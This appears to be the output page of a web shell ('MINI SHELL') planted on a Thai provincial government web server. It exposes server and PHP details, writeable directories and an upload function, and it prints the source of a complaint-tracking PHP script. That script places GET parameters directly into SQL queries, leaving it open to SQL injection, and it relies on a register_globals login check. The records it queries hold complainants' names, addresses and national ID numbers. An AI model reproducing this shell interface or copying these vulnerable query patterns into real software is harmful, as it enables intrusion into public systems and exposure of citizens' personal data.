MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_integration/requirement/application/ecomplain/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_integration/requirement/application/ecomplain/check_ticket_id.php
<? 
session_start();
//echo "<pre>";
//print_r($_SESSION);

if($type_user == "gov"){
if(!isset($session_username)){
header("Location: ../document/login.php");
}
include("header_menu.php");
}
include "../../config/config.inc.php";
include("function/function.php");
$month_arr=array('','มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน','กรกฏาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม');
//====================================================================================================
// Function
//====================================================================================================
function showSelectObj($arr, $selected, $name, $onchange)
{
	if($selected == "")
	{
		$selected = "0";
	}
	echo "<select size=\"1\" name=\"$name\" onChange=\"$onchange\">";
	foreach($arr as $key => $text)
	{
		$str = "";
			if($selected == $key)
			{
				$str = "selected";
			}
		echo "<option value=\"$key\" $str>$text</option>";
	}
	echo "</select>";
}
function selectAll_typeProblem()
{
	$sql = "SELECT *
				FROM
				tbl_type_problem ";
	$qr = @mysql_query($sql);
	$arr = array();
	$i = 0;
	while($rs = @mysql_fetch_assoc($qr))
	{
		$arr[$i] = $rs[type_problem];
		$i++;
	}
	return $arr;
}

//====================================================================================================
// Variable
//====================================================================================================
$arr_des_type = array(
					  "0"=>"ชื่อหัวข้อ",
					  "1"=>"ประเภทเรื่องร้องเรียน",
					  "2"=>"เรื่องร้องเรียน",
					  "3"=>"พฤติการณ์ของข้อกล่าวหา",
					  "4"=>"ชื่อ - สกุล ",
					  "5"=>"ตำแหน่ง",
					  "6"=>"ชื่อหน่วยงาน/สำนัก/กอง",
					  "7"=>"จังหวัด",
					  "8"=>"กระทรวง",
					  "9"=>"กรม",
					  "10"=>"รายชื่อผู้ถูกกล่าวหา",
					  "11"=>"ตำแหน่ง",
					  "12"=>"สังกัดส่วนราชการ",
					  "13"=>"จังหวัด",
					  "14"=>"ชื่อผู้ร้องเรียน",
					  "15"=>"ที่อยู่ผู้ร้องเรียน",
					   "16"=>"เลขบัตรประชาชน");
$arr_key_type = array(
					   "0"=>"tbl_complain.complain_id",
					   "1"=>"tbl_type_problem.type_problem",
					  "2"=> "tbl_complain.complain_detail",
					   "3"=>"tbl_complain.complain_action",
					   "4"=>"tbl_complain.alleg_name",
					   "5"=>"tbl_complain.alleg_position",
					   "6"=>"tbl_complain.label_org",
					   "7"=>"ccaa.ccName",
					   "8"=>"ministry_lbl.name",
					   "9"=>"department_lbl.name", 
					  "10"=> "tbl_complain.alleg_name_all", 
					   "11"=>"tbl_complain.alleg_position_all",
					  "12"=> "tbl_complain.alleg_gov_all", 
					  "13"=> "tbl_complain.alleg_province_all", 
					   "14"=>"tbl_complain.public_name", 
					   "15"=>"tbl_complain.public_address" ,
					    "16"=>"tbl_complain.public_idcard"
					  );
$arr_lbl_type = array(
					   "0"=>"complain_id",
					   "1"=>"type_problem",
					  "2"=> "complain_detail",
					   "3"=>"complain_action",
					   "4"=>"alleg_name",
					   "5"=>"alleg_position",
					   "6"=>"label_org",
					   "7"=>"ccName",
					   "8"=>"min_name",
					   "9"=>"dep_name", 
					  "10"=> "alleg_name_all", 
					   "11"=>"alleg_position_all",
					  "12"=> "alleg_gov_all", 
					  "13"=> "alleg_province_all", 
					   "14"=>"public_name", 
					   "15"=>"public_address",
					     "16"=>"public_idcard"
					  );
$arr_type_problem = selectAll_typeProblem();
?><html>
<head>
<title><?=$show_title_comp?></title>
<META http-equiv=Content-Type content="text/html; charset=windows-874">
<?php /*?><link href="../../common/style.css" type="text/css" rel="stylesheet" /><?php */?>
<script language='javascript' src='daily_popcalendar.js'></script>
<script language='javascript' src='displayelement.js'></script>
<style type="text/css">
<!--
body {  margin: 0px  0px; padding: 0px  0px}
a:link { color: #005CA2; text-decoration: none}
a:visited { color: #005CA2; text-decoration: none}
a:active { color: #0099FF; text-decoration: underline}
a:hover { color: #0099FF; text-decoration: underline}

.tb_dash th
{
	border:solid thin #666;
	background:#BDC9F9;
	padding: 5px 5px 5px 5px;
}
.tb_dash td
{
	border: solid 1px #666;
	padding: 3px 3px 3px 3px;
}
.style2 {font-size: 12px; font-family: "Courier New", Courier, monospace; }

-->
</style>
<script type="text/JavaScript">
function hideProfile( my_id ){
		if( document.getElementById( my_id ).style.display == "none" ){
			document.getElementById( my_id ).style.display = "block";
			document.getElementById( "IM_"+my_id ).src = "images/profile_expanded.gif";
			document.getElementById( "IM_"+my_id ).title = "ซ่อนเขตพื้นที่";
		}else{
			document.getElementById( my_id ).style.display = "none";
			document.getElementById( "IM_"+my_id ).src = "images/profile_plus.gif";
			document.getElementById( "IM_"+my_id ).title = "แสดงเขตพื้นที่";
		}
	}
	</script>
<script type="text/JavaScript">
    <!--
    function MM_jumpMenu(targ,selObj,restore){ //v3.0
      eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
      if (restore) selObj.selectedIndex=0;
    }
    //-->
    </script>
<script language="javascript">
function CheckForm(){
	if(document.form1.Ticket_ID.value == ""){
		alert("กรุณาระบุ รหัส Ticket_ID");
		document.form.Ticket_ID.focus();
		return false;
	}else{
		return true;
	}
}
function swapTicket(spn1, spn2, sel, selValue)
{
	
	var s1 = document.getElementById(spn1);
	var s2 = document.getElementById(spn2);
	//alert(sel.selectedIndex + " " + selValue);
	if(sel.options[sel.selectedIndex].value == selValue)
	{
		
		s2.style.display = "";
		s1.style.display = "none";
	}else
	{
		s2.style.display = "none";
		s1.style.display = "";
	}
}
</script>
  <script type="text/JavaScript">
    <!--
    function MM_jumpMenu(targ,selObj,restore){ //v3.0
      eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
      if (restore) selObj.selectedIndex=0;
    }
    //-->
    </script>
</head>
<body>
<table width="100%" height="50px;" border="0" align="center">
<tr>
   	<td height="49" bgcolor="#BDC9F9"><h2 class="h2"><STRONG>ตรวจสอบสถานะเรื่องร้องเรียน</STRONG></h2></td>
  </tr></table>
  <form name="frmSearch" action="" method="GET"  enctype="multipart/form-data" >
<table>
<tr> <td width="593" height="36"><div align="right"><font class="head_iframe"> ค้นหาตามชื่อหัวข้อ &nbsp;: &nbsp;</font></div></td>
                  <td width="177"><select name="type_problem" id="type_problem" > 
	  <OPTION value="">- ระบุประเภทเรื่องร้องเรียน-</OPTION><?
						$sql_type_problem = "SELECT * FROM tbl_type_request  ORDER BY  type_request  ASC";
						$Result_type_problem = mysql_db_query($dbname,$sql_type_problem);
						while($rs_tp = mysql_fetch_assoc($Result_type_problem)){
						if($rs_tp[request_id] == $rse[type_request]){ $sel = "selected";}else{ $sel = "";}
							echo "<option value='$rs_tp[request_id]' $sel>$rs_tp[type_request]</option>";
						}
					?></select></td>
                    <td width="459"><label>
                  <button type="submit" name="submit" title="ค้นหา" onClick="javascript:hideProfile('tb');">ค้นหา</button> 
      </label></td>
                    </tr>
        <td height="51"><div align="right"><font class="head_iframe"> ค้นหาตามความต้องการ &nbsp;: &nbsp;</font>
                  </div>
                </div></td><td>
               <select name="type_level" id="type_level"  >
                      <option value="">- ระดับความต้องการ -</option>
                      <option value="1">-น้อย -</option>
                      <option value="2">-ปานกลาง -</option>
                      <option value="3">-มาก -</option>
               </select>
                
                </td>
                <td><label>
                  <button type="submit" name="submit2"  title="ค้นหา" onClick="javascript:hideProfile('tb');">ค้นหา</button> 
                </label></td>
                </tr>
                 <tr>
                <td height="51"><div align="right"><font class="head_iframe"> ค้นหาตามอำเภอ: &nbsp;</font>
                  </div>
                  </div></td><td>
              <select name="public_amphur" id="public_amphur" >
            <option value="">เลือกอำเภอ</option>
            <?php
					$am = mysql_query("SELECT ccDigi,ccName,ccType FROM ccaa WHERE ccType='Aumpur' AND ccDigi LIKE '13%' ");
					while( $ram = mysql_fetch_array($am) ) {
							echo "<option value=\"".$ram['ccDigi']."\" $slted>".$ram['ccName']."</option>\n";
					}
					?>
          </select>
                
                </td>
                <td><label>
                <button type="submit" name="submit3" title="ค้นหา" onClick="javascript:hideProfile('tb');">ค้นหา</button> 
                </label></td>
              </tr>
</table>
</form>
<?php /*?><?          $topic = $_GET['type_problem'];
			$request = $_GET['type_level'];
			$ampher = $_GET['public_amphur'];
 if($_GET["type_problem"]&&$_GET['type_level']&&$_GET['public_amphur']!= "") {?><?php */?>

<table width="83%"  border="1" align="center" cellpadding="1" cellspacing="1"  id="tb" style='display:blank'>
<thead>
            <tr>
              <td width="4%"  height="25px" bgcolor="#99CCFF"><div align="center"><strong>ID</strong></div></td>
              <td width="19%" bgcolor="#99CCFF"><div align="center"><b>รายชื่อผู้ร้องเรียน</b></div></td>
              <td width="19%" bgcolor="#99CCFF"><div align="center"><strong>วันที่ร้องเรียน</strong></div></td>
              <td width="14%" bgcolor="#99CCFF"><div align="center"><b>ตำบล</b></div></td>
              <td width="18%" bgcolor="#99CCFF"><div align="center"><b>อำเภอ</b></div></td>
              <td width="26%" bgcolor="#99CCFF"><div align="center"><b>ระดับความต้องการ</b></div></td>
    </tr>
            </thead>
			<? 
			
/*  			$comp_sel = $_GET['comp_sel'];
			$year_sel = $_GET['year_sel'];
			$prov_sel = $_GET['prov_sel']; */
			$topic = $_GET['type_problem'];
		 	$request = $_GET['type_level'];
			$ampher = $_GET['public_amphur']; 
			
			
			//if(!empty($_GET["type_problem"])&&($_GET['type_level'])&&($_GET['public_amphur'])) {
			
			//$sql="select * from tbl_complain order by complain_id ";
			
			if(($_GET['type_level'] == "")&&($_GET['public_amphur'] == "")){
			$sql="select * from tbl_complain WHERE type_request  = '$topic' order by complain_id  ";
			//echo "1";
			}else if(($_GET['type_problem'] == "")&&($_GET['public_amphur'] == "")){
			$sql="select * from tbl_complain WHERE request_level = '$request' order by complain_id ";
			//echo "2";
			}
			else if(($_GET['type_problem'] == "")&&($_GET['type_level'] == "")){
			$sql="select * from tbl_complain WHERE public_amphur = '$ampher' order by complain_id ";
			
			//echo "3";
			}
			
			 $query=@mysql_db_query($dbname,$sql);
             $n=1;   
			 while($fetch =@mysql_fetch_assoc($query)) {
			
			if($fetch!=""){?>
			<tbody>
            <tr bgcolor="#CCCCCC">
             
              <td bgcolor="#FFFFFF"><div align="center" class="style2"><? echo $fetch['complain_id'];?></div></td>
              <td bgcolor="#FFFFFF"><span class="style2">
              <? if(!empty($fetch['public_name'])){echo $fetch['public_name'];}else { echo " <center><font  color='red'>----  ไม่มีข้อมูล  -----</font></center>  "; }?>
               
              </b></a></span></td>
     <?php /*?><? $prov = $fetch['ProvinceID']; ?>
             <?
                  $sql = "SELECT ProvinceID,Name FROM province WHERE ProvinceID = '$prov'";
                  $result=mysql_query($sql);
                  while($row=mysql_fetch_array($result)){
			?><?php */?>
              
               <td bgcolor="#FFFFFF"><span class="style2">
               <? if(!empty($fetch['keyin_time'])){echo $fetch['keyin_time'];}else { echo " <center><font  color='red'>----  ไม่มีข้อมูล  -----</font></center>  "; }?>
               
               </b></a></span></td>
              <td align="center" bgcolor="#FFFFFF"><span class="style2">
              <? if(!empty($fetch[public_tambol])){$am = mysql_query("SELECT ccDigi,ccName,ccType FROM ccaa_pathumthani WHERE ccDigi='$fetch[public_tambol]' ");
					while( $ram = mysql_fetch_array($am) ) {
							echo $ram[ccName];
					} 
						}	 else{ echo " <center><font  color='red'>----  ไม่มีข้อมูล  -----</font></center>  "; }?>
					 
              </span>
              <td align="center" bgcolor="#FFFFFF"><span class="style2">
              <?php
				if(!empty($fetch['public_amphur'])){
				    $am = mysql_query("SELECT ccDigi,ccName,ccType FROM ccaa_pathumthani WHERE ccDigi='$fetch[public_amphur]' ");
					while( $ram = mysql_fetch_array($am) ) {
							echo $ram[ccName];
					} 
						}	else{ " <center><font  color='red'>----  ไม่มีข้อมูล  -----</font></center>  "; }
					?>
              &nbsp;</span></td>
            <td bgcolor="#FFFFFF"><span class="style2"><? if(!empty( $fetch[request_level])){
				       $a= $fetch[request_level];
					   if($a==1){echo 'น้อย';
					   }elseif ($a=2){echo 'ปานกลาง';} else{ echo 'มาก';}
				} else {echo '-';}
				?></span></td>
            </tr>
              <? }?><?    
			
			} ?> 
            </tbody>
          </table>
<?php /*?><? }?><?php */?>
</body>
</html>

Anon7 - 2021